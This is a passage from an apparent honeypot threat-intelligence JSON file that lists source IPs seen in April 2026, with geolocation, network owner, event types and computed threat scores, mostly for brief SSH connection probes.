        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "167.99.1.98": {
      "attack_count": 4,
      "first_seen": "2026-04-22T06:21:30.363Z",
      "last_seen": "2026-04-22T06:21:38.364Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-22T06:21:29+00:00",
        "last_seen_30d": "2026-04-22T06:22:43.409000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "182.95.153.122": {
      "attack_count": 4,
      "first_seen": "2026-04-21T11:24:50.113Z",
      "last_seen": "2026-04-27T17:45:43.762Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T11:24:50.113000+00:00",
        "last_seen_30d": "2026-04-27T17:55:44.593000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "198.235.24.169": {
      "attack_count": 4,
      "first_seen": "2026-04-30T10:07:12.735Z",
      "last_seen": "2026-04-30T10:07:16.755Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:12:50.991000+00:00",
        "last_seen_30d": "2026-04-30T10:08:25.697000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 17,
        "Cowrie": 4
      }
    },
    "198.235.24.37": {
      "attack_count": 4,
      "first_seen": "2026-04-29T05:03:44.527Z",
      "last_seen": "2026-04-29T05:03:47.503Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 29,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T01:04:13.417000+00:00",
        "last_seen_30d": "2026-04-29T05:04:52.662000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 34,
        "Cowrie": 4,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Sentrypeer": 1,
        "Tanner": 1
      }
    },
    "20.14.74.210": {
      "attack_count": 4,
      "first_seen": "2026-04-14T05:47:17.930Z",
      "last_seen": "2026-04-14T05:47:28.451Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-14T05:47:17.930000+00:00",
        "last_seen_30d": "2026-04-17T17:30:15.857000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "52.91.15.149": {
      "attack_count": 4,
      "first_seen": "2026-04-01T00:59:24.617Z",
      "last_seen": "2026-04-01T00:59:29.399Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 19.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 23,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:59:24.617000+00:00",
        "last_seen_30d": "2026-04-23T01:00:57.619000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "65.49.1.195": {
      "attack_count": 4,
      "first_seen": "2026-04-01T14:30:15.637Z",
      "last_seen": "2026-04-01T14:30:19.712Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 78.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 28,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T14:30:15.637000+00:00",
        "last_seen_30d": "2026-04-28T08:21:10.036000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Cowrie": 4,
        "Honeytrap": 4,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "66.132.186.184": {
      "attack_count": 4,
      "first_seen": "2026-04-20T21:23:48.777Z",
      "last_seen": "2026-04-20T21:24:03.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 85.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 28,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T05:43:52+00:00",
        "last_seen_30d": "2026-04-28T11:07:47.716000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111,
        "Honeytrap": 59,
        "ElasticPot": 7,
        "CitrixHoneypot": 4,
        "Cowrie": 4
      }
    },
    "104.152.52.144": {
      "attack_count": 3,
      "first_seen": "2026-04-29T04:35:41.578Z",
      "last_seen": "2026-04-29T04:35:41.580Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:35:41.578000+00:00",
        "last_seen_30d": "2026-04-29T04:36:48.480000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "109.172.55.64": {
      "attack_count": 3,
      "first_seen": "2026-04-20T02:11:30.966Z",
      "last_seen": "2026-04-20T02:12:32.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 37.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-20T02:11:30.966000+00:00",
        "last_seen_30d": "2026-04-30T07:42:56.458000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "101.176.39.20": {
      "attack_count": 2,
      "first_seen": "2026-04-04T08:42:21.621Z",
      "last_seen": "2026-04-04T08:42:34.359Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T08:42:21.621000+00:00",
        "last_seen_30d": "2026-04-04T08:43:38.365000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.219.227.1": {
      "attack_count": 2,
      "first_seen": "2026-04-09T23:31:44.358Z",
      "last_seen": "2026-04-09T23:31:44.668Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Libya",
      "country_code": "LY",
      "city": null,
      "asn": 37284,
      "as_org": "Aljeel-net",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T23:31:44.358000+00:00",
        "last_seen_30d": "2026-04-09T23:32:48.404000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "104.152.52.233": {
      "attack_count": 2,
      "first_seen": "2026-04-13T16:18:35.268Z",
      "last_seen": "2026-04-13T16:18:35.487Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T16:18:35.268000+00:00",
        "last_seen_30d": "2026-04-14T08:18:29.536000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "115.148.206.17": {
      "attack_count": 2,
      "first_seen": "2026-04-17T16:50:49.000Z",
      "last_seen": "2026-04-17T16:51:20.457Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T16:50:49+00:00",
        "last_seen_30d": "2026-04-17T16:52:30.335000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "118.220.149.121": {
      "attack_count": 2,
      "first_seen": "2026-04-04T07:23:09.527Z",
      "last_seen": "2026-04-04T07:23:11.360Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:23:09.527000+00:00",
        "last_seen_30d": "2026-04-04T07:24:13.641000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "122.168.81.185": {
      "attack_count": 2,
      "first_seen": "2026-04-30T05:25:09.131Z",
      "last_seen": "2026-04-30T05:25:23.482Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kolkata",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:25:09.131000+00:00",
        "last_seen_30d": "2026-04-30T05:26:26.650000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.188.98.250": {
      "attack_count": 2,
      "first_seen": "2026-04-14T03:22:34.347Z",
      "last_seen": "2026-04-14T03:22:47.815Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T03:22:34.347000+00:00",
        "last_seen_30d": "2026-04-14T03:23:53.343000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.174": {
      "attack_count": 2,
      "first_seen": "2026-04-11T18:31:41.421Z",
      "last_seen": "2026-04-11T18:31:41.740Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 28,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T04:02:43+00:00",
        "last_seen_30d": "2026-04-29T03:55:55.799000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 30,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "151.250.194.208": {
      "attack_count": 2,
      "first_seen": "2026-04-23T11:56:33.718Z",
      "last_seen": "2026-04-23T11:56:46.883Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 34984,
      "as_org": "Superonline Iletisim Hizmetleri A.S.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T11:56:33.718000+00:00",
        "last_seen_30d": "2026-04-23T11:57:52.288000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "163.0.65.58": {
      "attack_count": 2,
      "first_seen": "2026-04-05T20:37:44.844Z",
      "last_seen": "2026-04-05T20:38:15.426Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T20:37:44.844000+00:00",
        "last_seen_30d": "2026-04-05T20:39:17.060000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "173.170.220.64": {
      "attack_count": 2,
      "first_seen": "2026-04-05T09:19:59.951Z",
      "last_seen": "2026-04-05T09:21:59.989Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Spring Hill",
      "asn": 33363,
      "as_org": "Charter Communications, Inc",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T08:18:16.839000+00:00",
        "last_seen_30d": "2026-04-05T12:56:09.161000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Cowrie": 2
      }
    },
    "173.3.245.116": {
      "attack_count": 2,
      "first_seen": "2026-04-23T09:02:29.062Z",
      "last_seen": "2026-04-23T09:02:42.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Newark",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T09:02:29.062000+00:00",
        "last_seen_30d": "2026-04-23T09:03:49.594000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.123.192.249": {
      "attack_count": 2,
      "first_seen": "2026-04-20T19:33:02.921Z",
      "last_seen": "2026-04-20T19:33:33.490Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T19:33:02.921000+00:00",
        "last_seen_30d": "2026-04-20T19:34:43.092000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "185.216.193.108": {
      "attack_count": 2,
      "first_seen": "2026-04-30T21:09:57.431Z",
      "last_seen": "2026-04-30T21:10:10.606Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Rostov-on-Don",
      "asn": 58096,
      "as_org": "Viter Evgeniy Vasilevich",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:09:57.431000+00:00",
        "last_seen_30d": "2026-04-30T21:11:13.035000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.89.29.40": {
      "attack_count": 2,
      "first_seen": "2026-04-29T19:14:42.339Z",
      "last_seen": "2026-04-29T19:14:54.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T19:14:42.339000+00:00",
        "last_seen_30d": "2026-04-29T19:15:58.864000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.50.245.239": {
      "attack_count": 2,
      "first_seen": "2026-04-09T02:04:38.139Z",
      "last_seen": "2026-04-09T02:05:10.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T02:04:38.139000+00:00",
        "last_seen_30d": "2026-04-09T02:06:14.796000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.242": {
      "attack_count": 2,
      "first_seen": "2026-04-11T16:05:40.080Z",
      "last_seen": "2026-04-11T16:06:11.437Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:49:50+00:00",
        "last_seen_30d": "2026-04-28T08:08:52.481000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 31,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "222.112.46.78": {
      "attack_count": 2,
      "first_seen": "2026-04-03T06:57:14.466Z",
      "last_seen": "2026-04-03T06:57:45.073Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dongjak-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:57:14.466000+00:00",
        "last_seen_30d": "2026-04-03T06:58:47.598000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
